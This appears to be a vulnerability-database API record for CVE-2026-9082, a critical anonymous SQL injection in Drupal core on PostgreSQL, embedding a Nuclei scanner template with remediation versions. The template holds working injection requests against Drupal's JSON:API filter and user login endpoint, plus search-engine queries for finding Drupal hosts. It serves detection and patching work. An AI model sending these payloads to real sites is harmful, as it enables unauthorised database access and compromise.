{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-9082/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-9082/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-9082/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-9082/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-9082/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-9082"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-9082"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2026/CVE-2026-9082.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2026-9082\n\ninfo:\n  name: Drupal Core - Anonymous SQL Injection via PostgreSQL Entity Query\n  author: slcyber,DhiyaneshDk\n  severity: critical\n  description: |\n    Drupal core from 8.9.0 before 10.4.10, 10.5.0 before 10.5.10, 10.6.0 before 10.6.9, 11.0.0 before 11.1.10, 11.2.0 before 11.2.12, and 11.3.0 before 11.3.10 contains an SQL injection caused by improper neutralization of special elements in SQL commands, letting attackers execute arbitrary SQL queries, exploit requires crafted input.\n  impact: |\n    Attackers can execute arbitrary SQL commands, potentially leading to data disclosure, modification, or full database compromise.\n  remediation: |\n    Upgrade to versions 10.4.10, 10.5.10, 10.6.9, 11.1.10, 11.2.12, 11.3.10 or later.\n  reference:\n    - https://www.drupal.org/sa-core-2026-004\n    - https://slcyber.io/research-center/keys-to-the-kingdom-anonymous-sql-injection-in-drupal-core-cve-2026-9082/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-9082\n    epss-score: 0.89986\n    epss-percentile: 0.99788\n    cwe-id: CWE-89\n  metadata:\n    verified: true\n    max-request: 3\n    shodan-query: http.component:\"Drupal\"\n    fofa-query: app=\"drupal\"\n    product: drupal\n    vendor: drupal\n  tags: cve,cve2026,drupal,sqli,postgresql,kev,vkev\n\nflow: |\n  var bundles = [\"article\", \"page\"];\n  var v2 = false;\n  for (var i = 0; i < bundles.length; i++) {\n    set(\"bundle\", bundles[i]);\n    if (http(1)) {\n      v2 = true;\n      break;\n    }\n  }\n\n  var v1 = http(2) && http(3);\n  v2 || v1;\n\nhttp:\n  - raw:\n      - |\n        GET /jsonapi/node/{{bundle}}?filter[t][condition][path]=title&filter[t][condition][operator]=IN&filter[t][condition][value][%60]=x HTTP/1.1\n        Host: {{Hostname}}\n        Accept: application/vnd.api+json\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 500\n          - contains(body, \"SQLSTATE[HY\")\n        condition: and\n\n  - raw:\n      - |\n        POST /user/login?_format=json HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"name\":{\"0\":\"x\",\"0||1/(SELECT CASE WHEN (1=1) THEN 0 END)\":\"x\"},\"pass\":\"x\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 500\n        internal: true\n\n  - raw:\n      - |\n        POST /user/login?_format=json HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"name\":{\"0\":\"x\",\"0||1/(SELECT CASE WHEN (1=2) THEN 0 END)\":\"x\"},\"pass\":\"x\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 400\n          - contains(body, \"unrecognized\")\n        condition: and\n# digest: 4a0a00473045022100d41f403aa69b377ec700917de9a4b7700d073a2471c38945120fc1fb7d92f4ea02201a66a31d609ae01c5857d60eb88aef1d42087d27bcb46e66e5eb7fa9b937c68b:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2026-9082"
}